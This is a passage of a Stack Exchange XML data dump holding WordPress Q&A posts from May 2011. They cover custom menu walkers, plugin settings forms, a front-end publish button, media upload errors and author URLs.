&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;`&lt;/p&gt;&#xA;" OwnerUserId="4777" LastEditorUserId="4777" LastEditorDisplayName="" LastEditDate="2011-05-20T22:59:40.390" LastActivityDate="2011-05-20T22:59:40.390" Title="Weired profile updating issue" Tags="&lt;update&gt;&lt;profiles&gt;" CommentCount="5" />
  <row Id="17797" PostTypeId="2" ParentId="17791" CreationDate="2011-05-20T12:40:03.610" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Looks like you got the hang of it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Taxonomy template is an archive of posts that share a term just like categories or tags, so if by looped view you mean archive then yes you are correct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can create just one template that will include all taxonomies and use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_template_part&lt;/strong&gt;&lt;/a&gt; function to include the correct loop.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-20T12:40:03.610" CommentCount="3" />
  <row Id="17798" PostTypeId="2" ParentId="14171" CreationDate="2011-05-20T13:19:40.303" Score="0" ViewCount="" Body="&lt;p&gt;I'm going to post my solution for others who may happen upon this thread. I'm not 100% happy with it because you shouldn't couple a template with menu functionality (Toscho's approach of using metadata or a custom taxonomy is probably more correct). However, it's a quick and dirty one. I've tried to mitigate the tight coupling by providing some constants near the top of functions.php to help future developers maintain the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// define the custom password-protected template that is used to determine whether this item is protected or not in the menus&#xA;define ('ZG_PROTECTED_PAGE_TEMPLATE', 'page-membersonly.php');&#xA;// define the custom capability name for protected pages&#xA;define ('ZG_PROTECTED_PAGE_CAPABILITY', 'view_member_pages');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the protected page template is just a variant of single.php, but it will check to see whether current_user_can(ZG_PROTECTED_PAGE_CAPABILITY) before displaying any content, for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I implement a custom walker, as per Toscho's suggestion. The walker in this case is extremely simple - we override the Walker_Nav_Menu's public start_el and end_el methods, just intercepting them long enough to ask the question: do we have access to see the menu item? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule is simple: if the page is not a &quot;private&quot; page (which in this case is determined by that page using a particular page template) it's visible. If it IS a &quot;private&quot; page, and the user is authenticated into a role that has the custom capability we're looking for, then it is visible. Otherwise, it's not visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we do have access, then we just have to use the Walker_Nav_Menu's built-in methods without modification, so we call the parent:: method of the same name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Custom Walker to prevent password-protected pages from appearing in the list */&#xA;    class HALCO_Nav_Walker extends Walker_Nav_Menu {&#xA;&#xA;        protected $is_private = false;&#xA;        protected $page_is_visible = false;&#xA;&#xA;        // override parent method&#xA;        function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;            // does this menu item refer to a page that is using our protected template?&#xA;            $is_private = get_post_meta($item-&amp;gt;object_id, '_wp_page_template', true) == ZG_PROTECTED_PAGE_TEMPLATE;&#xA;            $page_is_visible = !$is_private || ($is_private &amp;amp;&amp;amp; current_user_can(ZG_PROTECTED_PAGE_CAPABILITY));&#xA;&#xA;            if ($page_is_visible){&#xA;                parent::start_el(&amp;amp;$output, $item, $depth, $args);&#xA;            }&#xA;        }&#xA;&#xA;        // override parent method&#xA;        function end_el(&amp;amp;$output, $item, $depth) {&#xA;            if ($page_is_visible){&#xA;                parent::end_el(&amp;amp;$output, $item, $depth);&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-20T13:19:40.303" />
  <row Id="17799" PostTypeId="1" CreationDate="2011-05-20T13:23:35.050" Score="0" ViewCount="37" Body="&lt;p&gt;I have a client that wants to have a database of products on his Mac computer that he can use to update products published on his Wordpress website. It seems this may be possible with FileMaker Pro using the Wordpress FileMaker Sync plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other database recommendations that we could use for uploading content to Wordpress?  &lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2011-05-20T13:23:35.050" Title="Offline database for uploading to Wordpress" Tags="&lt;database&gt;&lt;mysql&gt;" />
  <row Id="17800" PostTypeId="2" ParentId="17787" CreationDate="2011-05-20T13:24:53.623" Score="0" ViewCount="" Body="&lt;p&gt;First, you really should be storing your options as an array in &lt;code&gt;wp_options&lt;/code&gt;. But should you choose not to, you really should change the names of your second and third options; &quot;height&quot; and &quot;width&quot; are entirely too generic, and almost assuredly will cause conflicts. You're passing &lt;code&gt;name=&quot;height&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;width&quot;&lt;/code&gt;, respectively, but I doubt that WordPress is associating &quot;width&quot; and &quot;height&quot; as options that belong to your Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming your store your options as &lt;code&gt;plugin_plugin-slug_options&lt;/code&gt;, which is an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$plugin_options = get_option( 'plugin_plugin-slug_options' );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Number Of Videos:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;$plugin_options[vidNO]&quot;  value=&quot;&amp;lt;?php echo get_option('vidNO');?&amp;gt;&quot; &amp;lt;?php echo get_option('vidNO'); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Height:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot;  name=&quot;$plugin_options[height]&quot; value=&quot;&amp;lt;?php echo get_option('height');?&amp;gt;&quot; &amp;lt;?php echo get_option('height'); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Width:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot;  name=&quot;$plugin_options[width]&quot; value=&quot;&amp;lt;?php echo get_option('width');?&amp;gt;&quot; &amp;lt;?php echo get_option('width'); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you really should consider using the Settings API, at least insofar as using &lt;code&gt;register_setting()&lt;/code&gt; to register your options array, and &lt;code&gt;settings_fields()&lt;/code&gt; to do the heavy lifting in your settings form.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-20T13:24:53.623" CommentCount="9" />
  <row Id="17801" PostTypeId="2" ParentId="17787" CreationDate="2011-05-20T13:37:09.533" Score="1" ViewCount="" Body="&lt;p&gt;I recommend checking out the tutorial by Ozh on &lt;a href=&quot;http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/&quot; rel=&quot;nofollow&quot;&gt;Handling Plugin Options with register_setting&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utilizing the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; is by far the easiest way to deal with plugin options.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-20T13:37:09.533" CommentCount="2" />
  <row Id="17802" PostTypeId="2" ParentId="17794" CreationDate="2011-05-20T13:37:57.067" Score="1" ViewCount="" Body="&lt;p&gt;First create a function that will print the publish button :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//function to print publish button&#xA;function show_publish_button(){&#xA;    Global $post;&#xA;    //only print fi admin&#xA;    if (current_user_can('manage-options')){&#xA;        echo '&amp;lt;form name=&quot;front_end_publish&quot; method=&quot;POST&quot; action=&quot;&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;pid&quot; id=&quot;pid&quot; value=&quot;'.$post-&amp;gt;ID.'&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;FE_PUBLISH&quot; id=&quot;FE_PUBLISH&quot; value=&quot;FE_PUBLISH&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit name=&quot;submit&quot; ID=&quot;submit&quot; value=&quot;Publish&quot;&amp;gt;&#xA;            &amp;lt;/form&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next create a function to change the post status:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//function to update post status&#xA;function change_post_status($post_id,$status){&#xA;    $current_post = get_post( $post_id, 'ARRAY_A' );&#xA;    $current_post['post_status'] = $status;&#xA;    wp_update_post($current_post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make sure to catch the submit of the button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['FE_PUBLISH']) &amp;amp;&amp;amp; $_POST['FE_PUBLISH'] == 'FE_PUBLISH'){&#xA;    if (isset($_POST['pid']) &amp;amp;&amp;amp; !empty($_POST['pid'])){&#xA;        change_post_status((int)$_POST['pid'],'publish');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all of the above code can go in your theme's functions.php file and all you have to do is add &lt;code&gt;show_publish_button();&lt;/code&gt;  in your loop of pending posts after each post.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-20T13:37:57.067" CommentCount="3" />
  <row Id="17803" PostTypeId="1" AcceptedAnswerId="17838" CreationDate="2011-05-20T13:56:59.743" Score="1" ViewCount="69" Body="&lt;p&gt;I'm sure this is an inappropriate question for this SE because it's not programming related AFAIK but maybe someone here has an idea. I've been posting code into my blog for years and have had no formatting concerns. Now all of a sudden, when I copy and paste code from whatever IDE I'm working in, the LFs are stripped out. I can't imagine what may have changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional troubleshooting info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm pasting into the visual editor, not the HTML editor (this is how I've always done it)&lt;/li&gt;&#xA;&lt;li&gt;pasting into a PRE section doesn't help&lt;/li&gt;&#xA;&lt;li&gt;the CR/LF information is in the clipboard (when I paste into Word for example, the LFs and tabs are preserved)&lt;/li&gt;&#xA;&lt;li&gt;pasting using Paste Text has the correct LFs but strips out tabs so that's not an option&lt;/li&gt;&#xA;&lt;li&gt;pasting using Paste from Word does the same&lt;/li&gt;&#xA;&lt;li&gt;I'm using the latest WP update (as of this time) WP 3.1.2&lt;/li&gt;&#xA;&lt;li&gt;I&quot;m using TinyMCE, but have disabled it and that's had no effect; also WP-Syntax, no joy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest something else to look into to figure this out? It's killing me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've re-read the &lt;a href=&quot;http://codex.wordpress.org/Writing_Code_in_Your_Posts&quot; rel=&quot;nofollow&quot;&gt;section in the Codex&lt;/a&gt; just to be sure I'm not missing something obvious, but there's nothing that pops up. I've been pasting code into my blog (www.tomauger.com) for years and years now without any special plugins, just sticking it inside PRE tags and have never ever encountered this issue. What could have changed?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-05-20T18:57:56.910" LastActivityDate="2011-05-20T18:57:56.910" Title="Pasting code into WordPress post - LFs being eaten" Tags="&lt;posts&gt;&lt;code&gt;&lt;line-breaks&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="17804" PostTypeId="2" ParentId="17746" CreationDate="2011-05-20T14:30:34.413" Score="0" ViewCount="" Body="&lt;p&gt;Purchasing your domain through the Google Apps sign-up should have everything configured for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason it didn't, take a look at this &lt;a href=&quot;http://www.google.com/support/a/bin/answer.py?answer=54693&quot; rel=&quot;nofollow&quot;&gt;Access your Advanced DNS settings&lt;/a&gt;, it's a google help article with a link to load your Advanced DNS Settings. You can modify the entries as needed to setup your A records and change your CNAME and TXT for google verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(and btw, this doesn't belong on WP. Not a problem, a moderator will move it)&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-05-20T14:30:34.413" />
  <row Id="17805" PostTypeId="1" AcceptedAnswerId="17807" CreationDate="2011-05-20T14:33:40.583" Score="1" ViewCount="119" Body="&lt;p&gt;First, Here is the full error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Call to undefined function download_url() in /path/to/wordpress/wp-admin/includes/media.php on line 562&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also posted the related functions at the bottom of my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am modifying a script for my company's website which allows us to automate the retrieval and uploading of content from our content provider. Due to the way they organize their XML, I need to upload the images related to the articles separately from the main body of the articles. I tried using media_sideload_image() to do this, but I recieved the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function (media_sideload_image()) which calls download_url and results in the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; PHP Fatal error:  Call to undefined function download_url() in /path/to/wordpress/wp-admin/includes/media.php on line 562&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be seen, I successfully included media.php - and the rest of my script has already been implemented on to the site, and I have not run into any other issues with accessing Wordpress files. The error would appear to be with media.php itself - which I find unusual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can resolve this problem? Alternatively, if you know of another function I can use to do this, that would also be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By all means, if you require any more details on the issue just ask.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Download an image from the specified URL and attach it to a post.&#xA; *&#xA; * @since 2.6.0&#xA; *&#xA; * @param string $file The URL of the image to download&#xA; * @param int $post_id The post ID the media is to be associated with&#xA; * @param string $desc Optional. Description of the image&#xA; * @return string|WP_Error Populated HTML img tag on success&#xA; */&#xA;function media_sideload_image($file, $post_id, $desc = null) {&#xA;    if ( ! empty($file) ) {&#xA;        // Download file to temp location&#xA;        $tmp = download_url( $file );&#xA;&#xA;        // Set variables for storage&#xA;        // fix file filename for query strings&#xA;        preg_match('/[^\?]+\.(jpg|JPG|jpe|JPE|jpeg|JPEG|gif|GIF|png|PNG)/', $file, $matches);&#xA;        $file_array['name'] = basename($matches[0]);&#xA;        $file_array['tmp_name'] = $tmp;&#xA;&#xA;        // If error storing temporarily, unlink&#xA;        if ( is_wp_error( $tmp ) ) {&#xA;            @unlink($file_array['tmp_name']);&#xA;            $file_array['tmp_name'] = '';&#xA;        }&#xA;&#xA;        // do the validation and storage stuff&#xA;        $id = media_handle_sideload( $file_array, $post_id, $desc );&#xA;        // If error storing permanently, unlink&#xA;        if ( is_wp_error($id) ) {&#xA;            @unlink($file_array['tmp_name']);&#xA;            return $id;&#xA;        }&#xA;&#xA;        $src = wp_get_attachment_url( $id );&#xA;    }&#xA;&#xA;    // Finally check to make sure the file has been saved, then return the html&#xA;    if ( ! empty($src) ) {&#xA;        $alt = isset($desc) ? esc_attr($desc) : '';&#xA;        $html = &quot;&amp;lt;img src='$src' alt='$alt' /&amp;gt;&quot;;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function where I call media_sideload_image() in my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Upload the image if it exists, and return the post_id&#xA;function upload_image($post_id, $image_url) {&#xA;    require_once('wp-admin/includes/media.php');&#xA;    $image_url = 'http://admin.gkbusiness.com/gkbusiness/files/2011/04/LOGOGKMBUS1.jpg';&#xA;    media_sideload_image($image_url, $post_id);&#xA;    return $post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2011-05-20T14:39:05.830" Title="PHP Fatal error: Call to undefined function download_url()" Tags="&lt;images&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="17807" PostTypeId="2" ParentId="17805" CreationDate="2011-05-20T14:39:05.830" Score="4" ViewCount="" Body="&lt;p&gt;You have to include /path/to/wordpress/wp-admin/includes/file.php this file also,&#xA;as the media.php uses the function download_url() from that file.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-05-20T14:39:05.830" CommentCount="1" />
  <row Id="17808" PostTypeId="1" AcceptedAnswerId="17811" CreationDate="2011-05-20T15:00:54.653" Score="1" ViewCount="82" Body="&lt;p&gt;I've assigned a specific html page (let's call it an author bio page) to each user in the 'website' field within the user admin area.  How do I get that URL to display within a single page post?  I'm assuming that I'm to use $curauth-&gt;user_url but it returns a blank page.&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2011-05-23T08:14:52.737" Title="Author website URL" Tags="&lt;author&gt;" AnswerCount="2" />
  <row Id="17809" PostTypeId="2" ParentId="17788" CreationDate="2011-05-20T15:01:10.203" Score="1" ViewCount="" Body="&lt;p&gt;Here try the below code, it should give you a good start.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// requrires 3 arguments&#xA;// user, project, path&#xA;// usage e.g: [bitbucket user=&quot;jespern&quot; project=&quot;django-piston&quot; path=&quot;piston/utils.py&quot;]&#xA;function bitbucket_code( $atts ) {&#xA;    extract( $atts );&#xA;    global $post;&#xA;    $path_to_name = str_replace(&quot;/&quot;, &quot;_&quot;, $path);&#xA;    $meta_key = &quot;bitbucket_{$user}_{$project}_{$path_to_name}&quot;;&#xA;    $code = get_post_meta( $post-&amp;gt;ID, $meta_key, true );&#xA;    if ( !$code ) {&#xA;        $bitbucket_url = &quot;https://api.bitbucket.org/1.0/repositories/$user/$project/raw/tip/$path&quot;;&#xA;        // just in case its not there ;)&#xA;        if( !class_exists( 'WP_Http' ) )&#xA;                include_once( ABSPATH . WPINC. '/class-http.php' );&#xA;        $request = new WP_Http();&#xA;        $response = $request-&amp;gt;request( $bitbucket_url );&#xA;        $code = htmlentities( $response['body'] );&#xA;        update_post_meta( $post-&amp;gt;ID, $meta_key, $code );&#xA;    }&#xA;    return '&amp;lt;pre&amp;gt;'. $code . '&amp;lt;/pre&amp;gt;';&#xA;}               &#xA;add_shortcode('bitbucket', 'bitbucket_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-20T15:01:10.203" />
  <row Id="17810" PostTypeId="2" ParentId="17808" CreationDate="2011-05-20T15:07:55.250" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_author_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_author_link&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_author_link(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-20T15:07:55.250" CommentCount="1" />
  <row Id="17811" PostTypeId="2" ParentId="17808" CreationDate="2011-05-20T15:12:38.153" Score="1" ViewCount="" Body="&lt;p&gt;you need to assign &lt;code&gt;$curauth&lt;/code&gt; and since you are not on an author archive but on a regular page you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_userdata&quot; rel=&quot;nofollow&quot;&gt;get_userdata&lt;/a&gt; function and pass the user ID like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$curauth = get_userdata(1);&#xA;//and then use &#xA;echo $curauth-&amp;gt;user_url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you are in the loop you can use &lt;code&gt;the_author_link();&lt;/code&gt; which will Displays the author's Website URL as a link and the text for the link is the author's Profile Display name publicly as field.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-20T15:12:38.153" CommentCount="2" />
  <row Id="17812" PostTypeId="2" ParentId="17781" CreationDate="2011-05-20T15:47:23.290" Score="1" ViewCount="" Body="&lt;p&gt;Do I understand right that you mean featured thumbnail image for a post and not just any attached image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_post_thumbnail()&lt;/code&gt;&lt;/a&gt; function and your usage will be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output .= get_the_post_thumbnail( $authors_post-&amp;gt;ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-20T15:47:23.290" CommentCount="4" />
  <row Id="17813" PostTypeId="2" ParentId="17727" CreationDate="2011-05-20T15:59:22.367" Score="0" ViewCount="" Body="&lt;p&gt;I used your code to locate W3 Total Cache in the $menu array (in my case it was 102), I then copy / pasted your code to change the label, and these were the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/UUa5u.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I got the wrong label here, but this otherwise appears to be correct, menu works as expected.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-20T15:59:22.367" CommentCount="1" />
  <row Id="17814" PostTypeId="2" ParentId="17718" CreationDate="2011-05-20T16:00:23.217" Score="0" ViewCount="" Body="&lt;p&gt;This plugin might work for what you're describing. It's a premium plugin, I believe it's $39, however that only includes 30 days of support. Great price, but the drawback with this company is support, if you need support after 30 days you have to pay a monthly subscription. I wish they offered longer support with the initial purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://premium.wpmudev.org/project/qa-wordpress-questions-and-answers-plugin&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/qa-wordpress-questions-and-answers-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck on your project!&lt;/p&gt;&#xA;" OwnerUserId="5536" LastActivityDate="2011-05-20T16:00:23.217" />
  <row Id="17815" PostTypeId="1" AcceptedAnswerId="18247" CreationDate="2011-05-20T16:02:13.130" Score="0" ViewCount="212" Body="&lt;p&gt;The code below shows the active sub menu of the Main Menu. It's nearly perfect, however, I need it to show ALL subitems of these sub items, and their children. AKA unlimited depth. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further clarify here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP - Main Menu&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Home&lt;/li&gt;&#xA;&lt;li&gt;About&lt;/li&gt;&#xA;&lt;li&gt;News (Active Menu Item)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press&lt;/li&gt;&#xA;&lt;li&gt;Social&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facebook&lt;/li&gt;&#xA;&lt;li&gt;Twitter&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Speeches&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Contact&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With the code currently, if I'm on News, Press, Social, Facebook, or Twitter Page, it shows the side menu:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press&lt;/li&gt;&#xA;&lt;li&gt;Social&lt;/li&gt;&#xA;&lt;li&gt;Speeches&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That is what I want, except that on all of those pages, &quot;Social&quot;'s two children (Facebook and Twitter should appear under social as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Selective_Walker extends Walker_Nav_Menu&#xA;    {&#xA;        function walk( $elements, $max_depth) {&#xA;&#xA;            $args = array_slice(func_get_args(), 2);&#xA;            $output = '';&#xA;&#xA;            if ($max_depth &amp;lt; -1) //invalid parameter&#xA;                return $output;&#xA;&#xA;            if (empty($elements)) //nothing to walk&#xA;                return $output;&#xA;&#xA;            $id_field = $this-&amp;gt;db_fields['id'];&#xA;            $parent_field = $this-&amp;gt;db_fields['parent'];&#xA;&#xA;            // flat display&#xA;            if ( -1 == $max_depth ) {&#xA;                $empty_array = array();&#xA;                foreach ( $elements as $e )&#xA;                    $this-&amp;gt;display_element( $e, $empty_array, 1, 0, $args, $output );&#xA;                return $output;&#xA;            }&#xA;&#xA;            /*&#xA;             * need to display in hierarchical order&#xA;             * separate elements into two buckets: top level and children elements&#xA;             * children_elements is two dimensional array, eg.&#xA;             * children_elements[10][] contains all sub-elements whose parent is 10.&#xA;             */&#xA;            $top_level_elements = array();&#xA;            $children_elements  = array();&#xA;            foreach ( $elements as $e) {&#xA;                if ( 0 == $e-&amp;gt;$parent_field )&#xA;                    $top_level_elements[] = $e;&#xA;                else&#xA;                    $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;            }&#xA;&#xA;            /*&#xA;             * when none of the elements is top level&#xA;             * assume the first one must be root of the sub elements&#xA;             */&#xA;            if ( empty($top_level_elements) ) {&#xA;&#xA;                $first = array_slice( $elements, 0, 1 );&#xA;                $root = $first[0];&#xA;&#xA;                $top_level_elements = array();&#xA;                $children_elements  = array();&#xA;                foreach ( $elements as $e) {&#xA;                    if ( $root-&amp;gt;$parent_field == $e-&amp;gt;$parent_field )&#xA;                        $top_level_elements[] = $e;&#xA;                    else&#xA;                        $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;                }&#xA;            }&#xA;&#xA;            $current_element_markers = array( 'current-menu-item', 'current-menu-parent', 'current-menu-ancestor' );  //added by continent7&#xA;            foreach ( $top_level_elements as $e ){  //changed by continent7&#xA;                // descend only on current tree&#xA;                $descend_test = array_intersect( $current_element_markers, $e-&amp;gt;classes );&#xA;                if ( !empty( $descend_test ) ) &#xA;                    $this-&amp;gt;display_element( $e, $children_elements, 0, 0, $args, $output );&#xA;            }&#xA;&#xA;            /*&#xA;             * if we are displaying all levels, and remaining children_elements is not empty,&#xA;             * then we got orphans, which should be displayed regardless&#xA;             */&#xA;             /* removed by continent7&#xA;            if ( ( $max_depth == 0 ) &amp;amp;&amp;amp; count( $children_elements ) &amp;gt; 0 ) {&#xA;                $empty_array = array();&#xA;                foreach ( $children_elements as $orphans )&#xA;                    foreach( $orphans as $op )&#xA;                        $this-&amp;gt;display_element( $op, $empty_array, 1, 0, $args, $output );&#xA;             }&#xA;            */&#xA;&#xA;/*added by alpguneysel  */&#xA;                $pos = strpos($output, '&amp;lt;a');&#xA;            $pos2 = strpos($output, 'a&amp;gt;');&#xA;            $topper= substr($output, 0, $pos).substr($output, $pos2+2);&#xA;            $pos3 = strpos($topper, '&amp;gt;');&#xA;            $lasst=substr($topper, $pos3+1);&#xA;            $submenu= substr($lasst, 0, -6);&#xA;&#xA;        return $submenu;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5465" LastEditorUserId="5465" LastEditorDisplayName="" LastEditDate="2011-05-25T15:58:56.637" LastActivityDate="2011-05-25T16:01:10.767" Title="Show All Children of WordPress Menu" Tags="&lt;menus&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" />
  <row Id="17816" PostTypeId="2" ParentId="12571" CreationDate="2011-05-20T16:03:13.120" Score="0" ViewCount="" Body="&lt;p&gt;here is WordPress codex that explains necessary steps to move WordPress to a new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server_with_Fantastico&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server_with_Fantastico&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-05-20T16:03:13.120" />
  <row Id="17817" PostTypeId="2" ParentId="17435" CreationDate="2011-05-20T16:16:48.997" Score="1" ViewCount="" Body="&lt;p&gt;False alarm. A setting in an aggregation plugin I was using was disallowing formatting of the aggregated posts. Flipped a switch. Done. Thanks for your input though!&lt;/p&gt;&#xA;" OwnerUserId="5436" LastActivityDate="2011-05-20T16:16:48.997" />
